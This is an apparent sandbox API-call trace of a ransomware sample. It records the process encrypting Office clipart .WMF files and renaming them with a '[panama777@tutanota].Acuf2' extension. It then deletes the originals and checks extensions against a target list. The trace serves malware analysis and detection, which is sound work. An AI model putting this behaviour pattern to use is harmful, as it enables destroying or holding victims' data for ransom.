	[0254.371] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.372] SetEndOfFile (hFile=0x354) returned 1
	[0254.458] CloseHandle (hObject=0x354) returned 1
	[0254.501] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.501] SetEndOfFile (hFile=0x338) returned 1
	[0254.504] CloseHandle (hObject=0x338) returned 1
	[0254.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1
	[0254.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.748] lstrlenW (lpString=".doc") returned 4
	[0254.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString=".docx") returned 5
	[0254.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.749] lstrlenW (lpString=".pdf") returned 4
	[0254.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString=".xls") returned 4
	[0254.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.749] lstrlenW (lpString=".xlsx") returned 5
	[0254.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.749] lstrlenW (lpString=".ppt") returned 4
	[0254.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.749] lstrlenW (lpString=".zip") returned 4
	[0254.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.749] lstrlenW (lpString=".rar") returned 4
	[0254.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString=".bz2") returned 4
	[0254.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString=".7z") returned 3
	[0254.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.749] lstrlenW (lpString=".dbf") returned 4
	[0254.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.749] lstrlenW (lpString=".1cd") returned 4
	[0254.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.749] lstrlenW (lpString=".jpg") returned 4
	[0254.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.749] lstrlenW (lpString=".doc") returned 4
	[0254.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString=".docx") returned 5
	[0254.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.750] lstrlenW (lpString=".pdf") returned 4
	[0254.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString=".xls") returned 4
	[0254.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.750] lstrlenW (lpString=".xlsx") returned 5
	[0254.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.750] lstrlenW (lpString=".ppt") returned 4
	[0254.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.750] lstrlenW (lpString=".zip") returned 4
	[0254.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.750] lstrlenW (lpString=".rar") returned 4
	[0254.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString=".bz2") returned 4
	[0254.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString=".7z") returned 3
	[0254.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.750] lstrlenW (lpString=".dbf") returned 4
	[0254.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.750] lstrlenW (lpString=".1cd") returned 4
	[0254.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63
	[0254.750] lstrlenW (lpString=".jpg") returned 4
	[0254.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.751] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.751] lstrlenW (lpString="AN01184_.WMF") returned 12
	[0254.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.751] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3746) returned 1
	[0254.751] CloseHandle (hObject=0x330) returned 1
	[0254.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20
	[0254.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.751] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.752] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.752] GetLastError () returned 0x0
	[0254.752] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xea2, lpOverlapped=0x0) returned 1
	[0254.754] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xeb0, lpOverlapped=0x0) returned 1
	[0254.755] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.755] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.755] SetEndOfFile (hFile=0x350) returned 1
	[0254.755] CloseHandle (hObject=0x350) returned 1
	[0254.755] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.755] SetEndOfFile (hFile=0x330) returned 1
	[0254.758] CloseHandle (hObject=0x330) returned 1
	[0254.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1
	[0254.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.758] lstrlenW (lpString=".doc") returned 4
	[0254.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.758] lstrlenW (lpString=".docx") returned 5
	[0254.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.758] lstrlenW (lpString=".pdf") returned 4
	[0254.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.758] lstrlenW (lpString=".xls") returned 4
	[0254.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.758] lstrlenW (lpString=".xlsx") returned 5
	[0254.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.759] lstrlenW (lpString=".ppt") returned 4
	[0254.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.759] lstrlenW (lpString=".zip") returned 4
	[0254.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.759] lstrlenW (lpString=".rar") returned 4
	[0254.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString=".bz2") returned 4
	[0254.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString=".7z") returned 3
	[0254.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.759] lstrlenW (lpString=".dbf") returned 4
	[0254.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.759] lstrlenW (lpString=".1cd") returned 4
	[0254.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.759] lstrlenW (lpString=".jpg") returned 4
	[0254.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.759] lstrlenW (lpString=".doc") returned 4
	[0254.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString=".docx") returned 5
	[0254.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.759] lstrlenW (lpString=".pdf") returned 4
	[0254.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.759] lstrlenW (lpString=".xls") returned 4
	[0254.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.759] lstrlenW (lpString=".xlsx") returned 5
	[0254.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.760] lstrlenW (lpString=".ppt") returned 4
	[0254.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.760] lstrlenW (lpString=".zip") returned 4
	[0254.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.760] lstrlenW (lpString=".rar") returned 4
	[0254.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.760] lstrlenW (lpString=".bz2") returned 4
	[0254.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.760] lstrlenW (lpString=".7z") returned 3
	[0254.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.760] lstrlenW (lpString=".dbf") returned 4
	[0254.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.760] lstrlenW (lpString=".1cd") returned 4
	[0254.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63
	[0254.760] lstrlenW (lpString=".jpg") returned 4
	[0254.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.760] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.760] lstrlenW (lpString="AN01216_.WMF") returned 12
	[0254.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.761] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5836) returned 1
	[0254.761] CloseHandle (hObject=0x330) returned 1
	[0254.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20
	[0254.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.761] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.761] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.761] GetLastError () returned 0x0
	[0254.761] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x16cc, lpOverlapped=0x0) returned 1
	[0254.763] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x16d0, lpOverlapped=0x0) returned 1
	[0254.764] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.764] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.764] SetEndOfFile (hFile=0x350) returned 1
	[0254.764] CloseHandle (hObject=0x350) returned 1
	[0254.764] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.764] SetEndOfFile (hFile=0x330) returned 1
	[0254.767] CloseHandle (hObject=0x330) returned 1
	[0254.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1
	[0254.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.768] lstrlenW (lpString=".doc") returned 4
	[0254.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.768] lstrlenW (lpString=".docx") returned 5
	[0254.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.768] lstrlenW (lpString=".pdf") returned 4
	[0254.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.768] lstrlenW (lpString=".xls") returned 4
	[0254.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.768] lstrlenW (lpString=".xlsx") returned 5
	[0254.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.769] lstrlenW (lpString=".ppt") returned 4
	[0254.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.769] lstrlenW (lpString=".zip") returned 4
	[0254.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.769] lstrlenW (lpString=".rar") returned 4
	[0254.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString=".bz2") returned 4
	[0254.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString=".7z") returned 3
	[0254.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.769] lstrlenW (lpString=".dbf") returned 4
	[0254.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.769] lstrlenW (lpString=".1cd") returned 4
	[0254.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.769] lstrlenW (lpString=".jpg") returned 4
	[0254.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.769] lstrlenW (lpString=".doc") returned 4
	[0254.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString=".docx") returned 5
	[0254.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.769] lstrlenW (lpString=".pdf") returned 4
	[0254.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.769] lstrlenW (lpString=".xls") returned 4
	[0254.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.769] lstrlenW (lpString=".xlsx") returned 5
	[0254.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.770] lstrlenW (lpString=".ppt") returned 4
	[0254.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.770] lstrlenW (lpString=".zip") returned 4
	[0254.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.770] lstrlenW (lpString=".rar") returned 4
	[0254.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.770] lstrlenW (lpString=".bz2") returned 4
	[0254.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.770] lstrlenW (lpString=".7z") returned 3
	[0254.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.770] lstrlenW (lpString=".dbf") returned 4
	[0254.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.770] lstrlenW (lpString=".1cd") returned 4
	[0254.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63
	[0254.770] lstrlenW (lpString=".jpg") returned 4
	[0254.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.770] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.770] lstrlenW (lpString="AN01218_.WMF") returned 12
	[0254.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.771] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3012) returned 1
	[0254.771] CloseHandle (hObject=0x330) returned 1
	[0254.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20
	[0254.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.771] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.771] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.772] GetLastError () returned 0x0
	[0254.772] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xbc4, lpOverlapped=0x0) returned 1
	[0254.773] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xbd0, lpOverlapped=0x0) returned 1
	[0254.774] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.774] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.774] SetEndOfFile (hFile=0x334) returned 1
